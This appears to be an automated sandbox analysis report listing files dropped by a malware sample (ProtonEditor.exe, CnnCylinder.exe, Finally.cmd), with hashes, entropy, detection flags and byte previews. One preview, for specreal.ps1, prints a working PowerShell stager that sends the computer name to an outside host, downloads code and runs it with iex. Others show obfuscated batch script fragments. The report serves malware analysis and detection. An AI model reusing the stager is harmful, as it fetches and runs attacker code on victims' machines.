                                                                                                                                                                                                                                                                Entropy (8bit):7.993030226806861
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:768:ZzEg0zlhj8xGC574cv/JjzgpuGTUvfIwSETW:hEg0XS74UjMpuGQvfI3Ea
                                                                                                                                                                                                                                                                MD5:76A93BC08132304AD108D8E18CFA07FE
                                                                                                                                                                                                                                                                SHA1:41472F90F0A191E25107018B96A269427BF69F1A
                                                                                                                                                                                                                                                                SHA-256:93B27ECC16B8765A664EB7599E3FD4A9EB490475545CB5F53B1BAE93C1D76D8D
                                                                                                                                                                                                                                                                SHA-512:7ADA1CE7593F7BDE7C719B3DED6321DEEA5D06FC11F3FB0B34319E20B644B559692EFDFD5F7A7749772EBDAEB0D46C64B6B38C8496730020E1D6E8280F7D792D
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:.0.....}j.6?.w..`l.(eKW.$n!D.o..? .....V.[['.c...P...m..*.Vo1..;..V.C.>.5{./>k.~NY.L..v.x............%u.~...{........x...3[......P9....>29..;.......f...y.K...w../...b....[...\z ...E<...a..3.F..P....hV..@..1.h..Nt.m.Ri....&.........0......0b.rNx7.|ws....X.k..R.~w.6.%.u."......p7n.J.N.........d......j.9.j......~A.R<%g.w...f../...F.M..,..2......4V.+>...z..`k..x.<.~.X..^....|?......#<L..f..;J....6.....~;...f..d..M..>....;...m`I..;B`.....2..S}....2y.H..p...1@r.o..d.....}..G..%..FZ..E....I.o..$\l....N.e....0.T.b"...|.x+......&...kl...-..}...cA<.I.Q..w.^.".l..:.......s7.FF.......];D..wO.~7...CmQG-.....l..m...PtR..s.....D..{.d.....Q.[D.AT..;.F......`.|r...V....f.....<2qAw.?...".X.!....I>..\.YP.To.n...B.A.P...M....b.4y...MA.E..U..S]....,..a...u,........jb...U.x.kM...C}.....V})...V$^h..D..].7..:x.B./.....7...=b9N....*2..D...l..]..aP2.~....|7g.&U..*.,..9E...1.0*o..._G7R)!..O\"..n.P.....3.....i....s;.w..X..L.,b..x.(.>%..>......R..Rj..w@..N.@.)..6

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Conclusions

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):62464
                                                                                                                                                                                                                                                                Entropy (8bit):7.997292757604576
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:1536:7UgbSMeBGJawVAsHkxFXXw8ghhDESkm+WLGhXDNa9KP0V+X:7JTzJae9Hk/XgThh/LF9KF
                                                                                                                                                                                                                                                                MD5:A0D0C686EE58616093C82D6A172EEE86
                                                                                                                                                                                                                                                                SHA1:DE6C413FD83469CC2E2819F8805FFB8F798E9C9C
                                                                                                                                                                                                                                                                SHA-256:2506143D07B304E7DB27DB2C2141A9320E1E5FDB3D58D4D37B6CB24C25DF5C33
                                                                                                                                                                                                                                                                SHA-512:774BD95B6FD14B1A24545AB2C974140B810CD3A9E77455DCD093F58BD4A47E7E1015CFD27AC7C1714CE2E5FCDA488AB1073F9D9A776559986E539D0257FBD643
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:...2..eB.W.....*...o..TV.@.2..~...\.2..c.~S\j...S....Ep;;Jg>.lsJ.$a.S.a...7.H$2.v.1V...=+.........2SK...o1B.....O]:.?5<..X._.~.5..n]-_.>j.....m....*~.'d..6./3lF...:.L..#u..]....Aa.....K<'.r..U..j[..&.'.....nV/..d.2.8......^q.j=.......4.....W^|;.l:.s...<Gj..v.......r...s9f.B.............9..!...b.........*...3.....&........;.......(..%...u%..`>....D" ..@...........2.2l...Q>..4.l.P..a.>v}..y......$m..."i.OX.l0.$8..Yw..*.....&.....>=":.4....../..m<.&K.p.,.7.rR!..i....v.M...T2.g..y..it.e!......MC}.&.;..,...`.ZWB]D..."b@.... V..u.^_.`<.c....m..x..7h.....I..Z.t8..i+..0XN.z'3!.lM~.t.....K.{.....,\...S. A{.e.[._.\o..z.......z.......U}. ..(...HvT.....e5..6..3..b'.Q.5.........T.|../oi.He.]....%...P..W....q..d..KXL.`.3B?(..x.D~B>.h0...N\.......~0yu..5..@...7...^....o..&..Q.1.aG.jo.I...ow.snG%..9....?..u.h.g\....w...:L....SSu...@vVC...(..d&N..L<(+....;.......{mi....F.D....m.....R............-...KH...t.%..x3w&.......p...*..{....5@m...?h*..

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Ec

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):893634
                                                                                                                                                                                                                                                                Entropy (8bit):6.620310678804413
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:WpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:WT3E53Myyzl0hMf1te7xaA8M0L
                                                                                                                                                                                                                                                                MD5:23DC6B1E46E0234491C3495845EF8B6C
                                                                                                                                                                                                                                                                SHA1:B16B7637254941808A8CD79B57199CC634C5DA47
                                                                                                                                                                                                                                                                SHA-256:DF2E40D82F7458D86D6D8389FBC016B25DDB0FF373B1CBFEA531A321BE078587
                                                                                                                                                                                                                                                                SHA-512:6DC5455511491C83AEB9FCF20C9F602D534C1825BF4B7B6E8CB8D8023BDC1B38AC875315CAFB457FFA064B2404A9B52E7FE399524696AB569D3B89D58A2619C1
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:custodymatchesfacingzope..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B......................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1192617
                                                                                                                                                                                                                                                                Entropy (8bit):7.9707764390603915
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24576:WHYbOUUo96QHp7GnugYGFOGrEY72AkgTxcjwKBO4Ny9k2I7C7g:KYbNXwu/GFOqEw25WKwKU4Ny97m
                                                                                                                                                                                                                                                                MD5:64488E190C4A6A5A693CF0CE5A5516A2
                                                                                                                                                                                                                                                                SHA1:39A87146F2DAEDABFA22B68EB6DF0C2DF0B7FE92
                                                                                                                                                                                                                                                                SHA-256:A76548A500D81DBB6F50419784A9B0323F5E42245AC7067AF2ADEE0558167116
                                                                                                                                                                                                                                                                SHA-512:5E9A4E9A99676877316FEDEE02079F78F1A1487B13CB67A659F27EDEAB047CE13BCC8CE7FF45AAA7D51CEFDA4A3BD057AAEC6AD45ACF4E4EA96D009331CBA1D4
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 71%
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@..........................P............@.................................@............8..........Y...P`...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc....8.......:..................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with very long lines (311), with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):311
                                                                                                                                                                                                                                                                Entropy (8bit):5.523585937872546
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6:/3AqOXyIAvP4tn2ii6dyaxapbh7bj2SrVIjzzR0LRB2DNRhQJFtXX6LxcQ8se:YqOXyIgPy2idUpAS0z98RB2DNRKJFtHJ
                                                                                                                                                                                                                                                                MD5:6140E4EA47F8A481641BD2D6DFA0CFF1
                                                                                                                                                                                                                                                                SHA1:D01C00E695A17CD375AA99AAAD0C53ED9BBF7C20
                                                                                                                                                                                                                                                                SHA-256:D70CCAE7914FC8C36C9E11B2A7F10BEBD7F5696E78D8836554F4990B0F688DBB
                                                                                                                                                                                                                                                                SHA-512:F042E9BE42C99E69EE94A21BE9BBA57CDBEB3AC4FEFFB9A781EF3AF9CD091CA8AA97666F81ABB9AC00CEE227ECDB510D66E5B445D2CA5AB1FF3DDD8CCF40393E
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Preview:$r='http://keikochio.com/incall.php?compName='+$env:computername; [net.ServicEpOiNtmAnageR]::sECuriTYpROTocOl = [nET.seCURITypROTocoLTYpe]::Tls12; $ttp = iwr $r -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36'; iex $ttp.Content;

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Finally

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with very long lines (1045), with CRLF line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):21915
                                                                                                                                                                                                                                                                Entropy (8bit):5.096512843363957
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:384:TcqtJpqK0w5ZeyYC3bpSG/eGKTuHc/41jFgvtOyiBzfEry2upc/O:oivqVwbeyYEbpzeGKTtgROvtODZfErfo
                                                                                                                                                                                                                                                                MD5:24BB5C7884DE59ADB9CA2F261066AB7F
                                                                                                                                                                                                                                                                SHA1:14B86FC4B8D43D017E8F7FEACCE1942872462B97
                                                                                                                                                                                                                                                                SHA-256:08AD80E385021A83D489E14A418870C74451A39D302D2823B119EC6CE18EB94E
                                                                                                                                                                                                                                                                SHA-512:CA8F78ABD49E9267514669E53322D35378BEC1B52D6663E47B5E820A71D545118852C261F479CEA89A4F70E74572B6D3C7741F3708CF87AB5A2297811172BF10
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:Set Fitted=D..CltConsciousness-Gas-..ziDominican-..GCYlButler-Database-Palace-Fly-Produces-..OMFestivals-Outside-Gear-Jimmy-Market-Disney-Pure-..DnOSustained-Dimensions-Our-Browse-Business-Sql-Emphasis-Pit-Pie-..KTtRomance-Namely-Charge-..Set Culture=u..UgNz-Webmaster-Tunnel-Alphabetical-Effectively-Invited-Tropical-Tripadvisor-Ak-..cAsySecrets-Card-Layers-Enquiries-Knit-..NpzRip-Dutch-Classics-..JdVpEffective-Portrait-Mill-Selling-Level-Attacks-..GjOtherwise-Amber-Ratio-Corrected-Fake-Performances-Solomon-Pn-..OnRMentor-Seminar-Logistics-Complete-Revenge-Beyond-Fastest-Ongoing-..sLQDaddy-Fda-Xanax-Deleted-Estate-Tells-Longer-Frontpage-..lerRSubsection-Penetration-..xiThere-Acoustic-Zope-Woods-Takes-..BUlPregnant-Zope-..Set Invalid=H..evySVertical-Hack-..vGMarket-..NWBoEmphasis-Winter-Frequencies-Cannon-Nigeria-Native-..DoHockey-Supervisor-Legendary-Luke-Assault-..xHUmJeffrey-Lingerie-Shot-Exceptions-..alsTargeted-Italiano-Humans-Wholesale-Documentcreatetextnode-Teddy-Newspapers-Traile

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Finally.cmd

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with very long lines (1045), with CRLF line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):21915
                                                                                                                                                                                                                                                                Entropy (8bit):5.096512843363957
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:384:TcqtJpqK0w5ZeyYC3bpSG/eGKTuHc/41jFgvtOyiBzfEry2upc/O:oivqVwbeyYEbpzeGKTtgROvtODZfErfo
                                                                                                                                                                                                                                                                MD5:24BB5C7884DE59ADB9CA2F261066AB7F
                                                                                                                                                                                                                                                                SHA1:14B86FC4B8D43D017E8F7FEACCE1942872462B97
                                                                                                                                                                                                                                                                SHA-256:08AD80E385021A83D489E14A418870C74451A39D302D2823B119EC6CE18EB94E
                                                                                                                                                                                                                                                                SHA-512:CA8F78ABD49E9267514669E53322D35378BEC1B52D6663E47B5E820A71D545118852C261F479CEA89A4F70E74572B6D3C7741F3708CF87AB5A2297811172BF10
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:Set Fitted=D..CltConsciousness-Gas-..ziDominican-..GCYlButler-Database-Palace-Fly-Produces-..OMFestivals-Outside-Gear-Jimmy-Market-Disney-Pure-..DnOSustained-Dimensions-Our-Browse-Business-Sql-Emphasis-Pit-Pie-..KTtRomance-Namely-Charge-..Set Culture=u..UgNz-Webmaster-Tunnel-Alphabetical-Effectively-Invited-Tropical-Tripadvisor-Ak-..cAsySecrets-Card-Layers-Enquiries-Knit-..NpzRip-Dutch-Classics-..JdVpEffective-Portrait-Mill-Selling-Level-Attacks-..GjOtherwise-Amber-Ratio-Corrected-Fake-Performances-Solomon-Pn-..OnRMentor-Seminar-Logistics-Complete-Revenge-Beyond-Fastest-Ongoing-..sLQDaddy-Fda-Xanax-Deleted-Estate-Tells-Longer-Frontpage-..lerRSubsection-Penetration-..xiThere-Acoustic-Zope-Woods-Takes-..BUlPregnant-Zope-..Set Invalid=H..evySVertical-Hack-..vGMarket-..NWBoEmphasis-Winter-Frequencies-Cannon-Nigeria-Native-..DoHockey-Supervisor-Legendary-Luke-Assault-..xHUmJeffrey-Lingerie-Shot-Exceptions-..alsTargeted-Italiano-Humans-Wholesale-Documentcreatetextnode-Teddy-Newspapers-Traile

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Flow

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):55296
                                                                                                                                                                                                                                                                Entropy (8bit):7.996571246913721
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:1536:lTM2IQPO5RNO2pt1w7WlS/LPBYKj7mW8kGgZD4:lQ2lOBO2twX/L559k
                                                                                                                                                                                                                                                                MD5:10B8C2516B50DC671E0C469442B430D9
                                                                                                                                                                                                                                                                SHA1:726CDA4D821DFBDC834A067488937A38FAC365EB
                                                                                                                                                                                                                                                                SHA-256:AE948965939ED0D081EBD1FF75D36483CAC9AABB3880D3AA8786A509FCD3519A
                                                                                                                                                                                                                                                                SHA-512:45E038DA1D1D0B3AEEA83855C5B0FD916A3F33D1424E11CCBA14350BEE1F5F5B5F19B7CF4A163DADF73A7D82F45CD70D0EE7B7643B830C4A91BF51FAD5325271
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:....Lo.....R..?.g..".P.......]..!.rd..[....R...@|.:.T....t/.a.......*C=y/.y......v. o.....j+._......=.....o.=..b9.J_.n..U....l.._.y$....]...o5...1....3Y..&a..o...!c=H+u.E..W.y.. :.C..E....&..%...^..i...X]....K.4..9l.s[c..%....Tel.w4.D...m@.7.C..K?X.AVM..b...X(.G)B..$P.^0...Z..}.D..+.*....I....f...'.I.Q1.}V.......msn.\....j..|.U>t.`..2..rjs2ieho......(_.........q..1..A...|}...>rjQ..[.......``c..O.=..r.....]h.q...3....0-.!.t...-!..4P.j8..G.l..i...0.......P.Uy..0FW.sW.......1..w.t.D?."'c...=..U<\...`.gf]...,.A......c.L.+..G...T..p...;6,6B._c.uQUW.<lp.....>.....6A^.$'`....2.SG2....g.V.:.y.o-[.C0/.....T. ..uH.3>2..W.%1.o.xl.0.N...T....a...1.p1.............. .......E.:.=..Frw.cuE.....;..0.8.X......C..i...oA7.#....1.z.......U..V...j..wl..n....U"[M.U......GE.,....B..Z+...O..6C..0.V.P.....e..*..r.Zs..T....z...e#...).9...!?..G..W........K.>rd...X.:^........#;.....b..mH....b;o.x.... .)..0.....X...U......Z.,.].j$T...8..=..K...@.C.J....HZg}5..

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Generous

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):91136
                                                                                                                                                                                                                                                                Entropy (8bit):7.997869788800452
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:1536:kO3wM/eyDxzl5vQenQGCspWGWfeGyiVoNBHTC9sw7syjae+y5OSbLUF0GSCTm:b3j/eydp9Qe0sMGliV+m7wMNRxbATHK
                                                                                                                                                                                                                                                                MD5:80F1CCEBA7133FA8789055598983BA09
                                                                                                                                                                                                                                                                SHA1:7420FCA255AE3C11B4E056D57C7023BBD964BD10
                                                                                                                                                                                                                                                                SHA-256:719C312B5D269CD251AF5FEBA8F6BEB9DE4FB50D09F1034995E3DE6FE3F38B70
                                                                                                                                                                                                                                                                SHA-512:4D515F3D4F9AE0722FD7299C4E130405615D13865DEFC97E32B50081674EF7EA8AF2BE1458C25275451D4FC897EE6EF0269781C9F48CEC248CE708E5642BF432
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..D&.9.+@..fe%...Eg^Da.:..#.q..i0....f3..[....X..]$.... .N..%_......)..:.x.r...(.u..%:...K. L...?..h......)."....3.[J....(.......w..==i....-@...T..t.b.J...)......A....P.`=.i.0j a....~..wc.Z..f..!&;x..'.Xo`.E.3^.y.j.S.?.._...uEky.A..oY...S.c......o.F.3.[.C......[...\....!...P...3..WYo.y..kg...R...;.^.I.i.[....b....b..U.%5.@.pz..&v...[K.6z......:.W..m./.X).Ch<.]..l.<..z.p.Y.4=...........*..-0z......-.Y:..5;o/.Aq#.m.*......&!g.../.@...U..j._C........g........V>e....|.......Ja8~...Pd...U.Y.......(.;9_........K..$...5.........>.*.dd...&.q.)5...L....E..-.W.sAP.....2ak....l\3|.Y....(.!...97LA....v.G..h7.u..k...l.A...0Y..Y...5..... ....}..R........V.........->[=i....%7.Y....V...8Y.. ..;;F...p..1....E.!.CQ...[...<.../U....|J?T.q.v..U..2..+...s.zg...c1<V...}....O.....~.+l......#..Ai..#l.......6.eH.~AP......Z..=..|.o.dZ...4.0...fzY.;a.A.s....A..?..M..t...u....M\....k7..@.je>.Cf.o.......f|..'.8H.^.f...o.K=,..K....@.Y.C3....!..........9......b..'

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Particular

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):97280
                                                                                                                                                                                                                                                                Entropy (8bit):7.997967763205943
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:1536:u9CC2TlgGXop/8fcbFd/N0d4xZNzXTk9OQrNqBIyG3vmDp7sF5jgptXqTU5QjYPp:u/gSGX08fcbFd/uYZNTeOGNIKvspcdgH
                                                                                                                                                                                                                                                                MD5:1445694ABFBB71022FBCE1A2B7F1B3B2
                                                                                                                                                                                                                                                                SHA1:34303CDFFA1580738947A84669D7A88666EBD74B
                                                                                                                                                                                                                                                                SHA-256:1BB821D64048663C165B186FACB51119993622E11C603FF51F25D48E68627790
                                                                                                                                                                                                                                                                SHA-512:29871264B774D7D032359AF3A96EC0BCDEEF701A202AC055C3AD6E8078427784D5CB508754CEC2D94C504BDD36637FB3567DE5123EF7D208ABF4745407F67E6B
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..oVS>k".=[...o.\.V.0..,W.q..y.)*|..\.O...B.r.!....<..d..^.lX..18...U...:l....5.L{..80.X......vzx....@5.....C!D...d......):|..y'...~e....:....TFz|}.<.D.V:..~q...t......J...x..(2..S.`H:4.BFj.n.!.7.......V<....,'..Eu..D.!...*./8....=...q8....H.u..z.2P.c..V.\U.,......[....c!...0~..d..FkM..+.bF.g.4....b......4C..dTb...2..m.J..tx...`.#..e..|..6uO.ma:...r...=/.~........A"Q.QP).).n$..sfY......v.^K...o.>9.Q..>..|....'c"..[.Z)....N,...../.....t...m...,c.5...<../K.7..|*f...~(.:.....xV..Q.>JCw..>..Y..^8.....ytjZ.uO._.`.i-mh.....+..S.)..l....n.<)B..2.l...K.4L\. ...rty.{.y...+X.U.d.{..u.F#.].\H.e,o..+.....=....hF..)..i-.`M?..L]...r8.=*..'6l..y...0&.R./..o.&o>...h..#.G.p..c].KY..qk..B.i...|..&.w3n@...h.|3]SD.DN.......3.n.....i..vz.J..-Z$.n!......".-~.@...5........V..X.7....h...lL!..l.B6..t..z..u:..w..X....5BD..\H..w..av....u.n.Bp.. .G.~.Cf].o[..E4.ZH.Rg.....K..>F*....@%U.W.|2......?..S..P.............u.J.[A.^.......F.1X..I.c.zm.k.j........G..}.~Sw.Fg5..Z.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Payable

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):64512
                                                                                                                                                                                                                                                                Entropy (8bit):7.997278057691312
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:1536:hjISvw+npRhz+0k7qO0TE2obJIWEfZRJ9gXBjSDu9e:lI81zOqN5kJIWEfZbqV03
                                                                                                                                                                                                                                                                MD5:8E142B89BD17BFE6E5FD3E892DB6A784
                                                                                                                                                                                                                                                                SHA1:2A2EB072AB4592217FA731B0A80539DFB3DD94E4
                                                                                                                                                                                                                                                                SHA-256:A8E3851FBC9E5C0D2CEB89120C33F886AB0383DAC2380D59954CA326597E7147
                                                                                                                                                                                                                                                                SHA-512:F00C169A64D9F6C43E0E740A75562E55D219B44B4A0CDCD76D1479082CC00101FE0D87F5E1E886E8246353F5C2C41E60FD3BD6FF8C07FB84C455A43199F269CD
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:. ..j5v..)..A....s...#....~.. ..N@.'.O...a.]j.&c~..NBbx......1....U..:|.8?.*.i...h....&..r..<..-.D.._..}..~........]0r .>.8@J..O. ....8m...0...g..k....Z.!..#...,|....W.....P.cV..7{...B=....6r||..,......&....?.D..j.K.......Yb^...-.....yHt.'.x.<`.3U.........7.....(.E$zj....PEa.P..C.E...^R...........|.g....hj.p....n.A:.?....WK...E.......<...\....7*....o .Pp.%....i.F..wI......t.(3.u........14B .I..AG...S.?'..A.j.&.0Am$`..lr.x.....E...xn.`.{.8It.m..>0ya...L..7....m...I.U...X..u....H..7..C(....O.hz.wo'h...L...U..w......Y.xkbD...B.,..dl.........Z.>..\.<.Q.*..4H|....H.[....Fb.U8.....gSBdU...<..=..G.P.f..)../.Fd.x:......,.....RZ.[........7 V^..~..z..S..W.'....m.[.;...w.,9..2nVP.8TN&....%..n.\.u]&(p...^: .xQ..'.7.<.....(..Z.p5rw-.D..Y....'Z~Xh..!..V.`... ........#Y....o.H=*)..z...~x. h@.1...?b7.x..h`..5.....g*.{...1).e~.^......Mw.S.4...!fr.^3x.*..\).'{r>H.OU.^v...,...{QJ1(C..1.."..Ko...H\..e./.^.2...4.(+rh0.+.5[..E....:."...r....s......h.6.....G.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Qualifications

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):83968
                                                                                                                                                                                                                                                                Entropy (8bit):7.997644129065919
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:1536:R1Y7W3OXJIByY0eX48hqkGj393PZC+elr94Js8o921DjQhT:OWeyySXJqnjNo+MResR9GDchT
                                                                                                                                                                                                                                                                MD5:4F253C8903F4C42880F3D5466A464004
                                                                                                                                                                                                                                                                SHA1:CCF6E3C8B53EB1176EB98DA2A034DEE267A58958
                                                                                                                                                                                                                                                                SHA-256:4958C369DCD6F0A0B2A99FA81F7F33A0F1078B5C3A401CF3546DA7609C365121
                                                                                                                                                                                                                                                                SHA-512:C14336540CE7BD5B0FCBAF513CADA67DD5192B0DBE3CC0E23AA7385C326BCAFEE1DBA6109BEE57C7938E888FE08C284405C7FC0CEF5182E9B6D4AA2991D48878
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:...^....4....3q....,......l.........^i.....4....ys#...|..'.p.p...&..~...hK_...w..w...W..S.JI.....s4.!.o6P}.b6 ..s.5.,..._d...\...vC..}......0.....59.n....E.o.)DH`.|.U.x..>.lL..|...U...v.E.[Z...[.\...x.y..:..[.....T.5.>.V........B.&Q..?oCF..;=...zj.mF.....r..\.E.f..2..|....wf.,.d.......^.dH.~'.....U.,....\..WE4"} .<e.v.}.......O`?1..qG..O...h..zL..g.".....<.....~Z.v@h.)...~u[f...V[.t7b|...'v.?./.............|J.....$............5..<_*8........k..1f..*..z+.1OC.wB.J...-...6kL.&..E...N..y...............K.....t....jz....9.....j.-...D %|.aE[|w\.WJ.... ...H-...W.......2...+...Z..._...&{7A}.Q.)D.. .7..w-..4q...q....8.+..C.3E...5.s?#.Yi...,.V..F...r...p.F...R.U|....8..U.9y..g..VgT8.y-....W.1kvW.9I4-.....a..C.....I......Z...O;L.Ww..l`.4.{&..........ct....#....%.J._..:lt...>..z.P.Wq/E....Eu.....`.......sd...j.PD.q..-...#....|w_c.&.|.......T+..8..B?).]...jL...r....p...0!..4..e7.....LD.i.7.o..4.g...b.VHq....d30.Z'.<'.A....%.o.7...3...6!t...gZ... ]....x..8

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\TkdJL99r8cyESymftx

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1127498
                                                                                                                                                                                                                                                                Entropy (8bit):7.999530628918618
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:24576:V5SJv6F6JITitKp7GhOgYkFMktkQTPejwIBOENyL6Yy:n0iQITit4EO/kFMkCiUwIUENyLM
                                                                                                                                                                                                                                                                MD5:F6FF601B884C1D608D01445C78375509
                                                                                                                                                                                                                                                                SHA1:38F37104FBD22BB78EA69AC50EFF0D2910570398
                                                                                                                                                                                                                                                                SHA-256:9803F4D7592509C52B0DE15415C3C718AEB2213C898BBB18B64BE815D427F57C
                                                                                                                                                                                                                                                                SHA-512:6040564035364F3165045084D010168D478C541A623CD78178F3607313ACD6C01907DA7E4739D360DC78B6873D72D15CE29D149EA152BE0BEDC1AAB09E304A2F
                                                                                                                                                                                                                                                                Malicious:false
